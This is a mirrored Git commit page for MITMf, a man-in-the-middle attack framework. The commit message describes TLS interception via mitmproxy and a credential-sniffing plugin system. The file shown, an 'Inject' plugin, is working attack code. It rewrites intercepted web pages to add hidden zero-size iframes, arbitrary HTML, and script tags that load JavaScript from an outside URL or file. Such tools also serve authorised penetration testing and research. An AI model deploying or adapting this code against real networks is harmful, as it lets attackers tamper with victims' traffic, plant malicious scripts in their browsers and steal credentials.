github/MITMf
1
0
Fork 0
mirror of https://github.com/byt3bl33d3r/MITMf.git synced 2025-07-07 13:32:18 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

Initial commit for v1.0 using mitmproxy instead of twisted

Browse source 
Added a plugin system to Net-Creds so you can now add your own parsers,
api hook names might change between now and the offcial release
(will submit a PR to the original repo once completed)

The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts
the code down by an insane amount, no more twisted! yay!

Basic plugin have been re-wrote for the new proxy engine

Since we are using mitmproxy we have out of the box support for SSL/TLS!
This commit is contained in:
byt3bl33d3r 2016-02-06 13:27:08 -07:00
commit eea5f53be2
50 changed files with 5525 additions and 0 deletions
Download patch file Download diff file Expand all files Collapse all files

64
plugins/inject.py Normal file
View file

@ -0,0 +1,64 @@
import argparse
from bs4 import BeautifulSoup
from plugins.plugin import Plugin
from netlib.http import decoded
class Inject(Plugin):
name = 'Inject'
optname = 'inject'
desc = 'Inject arbitrary content into HTML content'
version = '1.0'
def response(self, context, flow):
if context.html_url and (flow.request.host in context.html_url):
return
if context.js_url and (flow.request.host in context.js_url):
return
if 'text/html' in flow.response.headers.get('content-type', ''):
with decoded(flow.response):
html = BeautifulSoup(flow.response.content.decode('utf-8', 'ignore'), 'lxml')
if html.body:
if context.html_url:
iframe = html.new_tag('iframe', src=context.html_url, frameborder=0, height=0, width=0)
html.body.append(iframe)
context.log('[Inject] Injected HTML Iframe: {}'.format(flow.request.host))
if context.html_payload:
payload = BeautifulSoup(context.html_payload, "html.parser")
html.body.append(payload)
context.log('[Inject] Injected HTML payload: {}'.format(flow.request.host))
if context.html_file:
payload = BeautifulSoup(context.html_file.read(), "html.parser")
html.body.append(payload)
context.log('[Inject] Injected HTML file: {}'.format(flow.request.host))
if context.js_url:
script = html.new_tag('script', type='text/javascript', src=context.js_url)
html.body.append(script)
context.log('[Inject] Injected JS script: {}'.format(flow.request.host))
if context.js_payload:
tag = html.new_tag('script', type='text/javascript')
tag.append(context.js_payload)
html.body.append(tag)
context.log('[Inject] Injected JS payload: {}'.format(flow.request.host))
if context.js_file:
tag = html.new_tag('script', type='text/javascript')
tag.append(context.js_file.read())
html.body.append(tag)
context.log('[Inject] Injected JS file: {}'.format(flow.request.host))
flow.response.content = str(html)
def options(self, options):
options.add_argument('--html-url', dest='html_url', type=str, help='URL of the HTML to inject')
options.add_argument('--html-payload', dest='html_payload', type=str, help='HTML string to inject')
options.add_argument('--html-file', dest='html_file', type=argparse.FileType('r'), help='File containing HTML to inject')
options.add_argument('--js-url', dest='js_url', type=str, help='URL of the JS to inject')
options.add_argument('--js-payload', dest='js_payload', type=str, help='JS string to inject')
options.add_argument('--js-file', dest='js_file', type=argparse.FileType('r'), help='File containing JS to inject')